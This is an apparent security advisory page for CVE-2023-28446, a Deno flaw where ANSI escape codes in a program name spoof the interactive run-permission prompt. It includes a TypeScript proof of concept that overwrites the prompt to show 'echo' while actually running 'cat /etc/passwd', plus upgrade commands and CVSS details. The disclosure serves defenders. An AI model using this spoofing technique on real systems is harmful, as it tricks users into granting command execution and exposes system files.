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CVE-2023-28446

HIGH

Interactive `run` permission prompt spoofing via improper ANSI neutralization

Published March 24, 2023Updated November 8, 2023Source: osv

Summary

### Summary Arbitrary program names without any ANSI filtering allows any malicious program to clear the first 2 lines of a `op_spawn_child` or `op_kill` prompt and replace it with any desired text. ### Details The main entry point comes down to the ability to override what the API control says ([40_process.js](https://github.com/denoland/deno/blob/7d13d65468c37022f003bb680dfbddd07ea72173/runtime/js/40_process.js#L175)). Because of ANSI code's ability to clear lines, a malicious program can clear the last 2 lines of the prompt and put their own header. This also works in `op_kill`. ### PoC This PoC works on 1.31.1, but modified versions of it work on older versions. Make a file, e.g. `index.ts`, that uses this vulnerability to spoof the `op_spawn_child` permission prompt ```ts const boldANSI = "\u001b[1m" // bold const unboldANSI = "\u001b[22m" // unbold const prompt = `┌ ⚠️ ${boldANSI}Deno requests run access to "echo"${unboldANSI} ├ Requested by \`Deno.Command().output()` const moveANSIUp = "\u001b[1A" // moves to the start of the line const clearANSI = "\u001b[2K" // clears the line const moveANSIStart = "\u001b[1000D" // moves to the start of the line Deno[Object.getOwnPropertySymbols(Deno)[0]].core.ops.op_spawn_child({ cmd: "cat", args: ["/etc/passwd"], clearEnv: false, env: [], stdin: "null", stdout: "inherit", stderr: "piped" }, moveANSIUp + clearANSI + moveANSIStart + prompt) ``` Run the file with `deno run index.ts`. ### Impact Any Deno program is able to spoof the interactive permission prompt for the `op_spawn_child` or the `op_kill` action (which indirectly gives access to all run commands) by overriding the `Requested by {message} API` with their own ANSI codes, allowing them to clear the latter prompt and change it to whatever they needed: ``` // Expected Prompt ┌ ⚠️ Deno requests run access to "cat" ├ Requested by `Deno.Command().output()` API ├ Run again with --allow-run to bypass this prompt. └ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all run permissions) > // Actual Prompt ┌ ⚠️ Deno requests run access to "echo" ├ Requested by `Deno.Command().output()` API ├ Run again with --allow-run to bypass this prompt. └ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all run permissions) > ``` This works with any command on the respective platform, giving the program the full ability to choose what program they wanted to run. This problem can not be exploited on systems that do not attach an interactive prompt (for example headless servers). Before `v1.31.0`, this requires the `--unstable` flag.

Remediation

Upgrade to the fixed version using your package manager.

Cargo
Update deno to 1.31.2 or later
cargo update -p deno --precise 1.31.2
Cargo
Update deno_runtime to 1.31.2 or later
cargo update -p deno_runtime --precise 1.31.2

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (2)

PackageEcosystemAffectedFixed In
deno
crates.io
All versions1.31.2
deno_runtime
crates.io
All versions1.31.2

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 8.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2023-28446?
Interactive `run` permission prompt spoofing via improper ANSI neutralization This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.8/10).
How do I check if my project is affected by CVE-2023-28446?
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Severity & Exploitability

CVSS Score
8.8

High exploitability or significant impact. Prioritize remediation within days.

Also Known As

GHSA-vq67-rp93-65qf

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